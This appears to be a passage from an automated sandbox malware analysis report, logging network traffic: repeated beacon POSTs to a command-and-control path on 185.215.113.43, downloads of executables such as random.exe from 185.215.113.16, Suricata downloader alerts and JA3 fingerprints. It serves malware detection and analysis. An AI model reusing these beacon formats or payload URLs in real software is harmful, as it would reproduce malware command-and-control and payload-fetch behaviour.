Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49738 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49814 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49849 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49891 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49924 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49924 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50050 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49930 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:58630 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
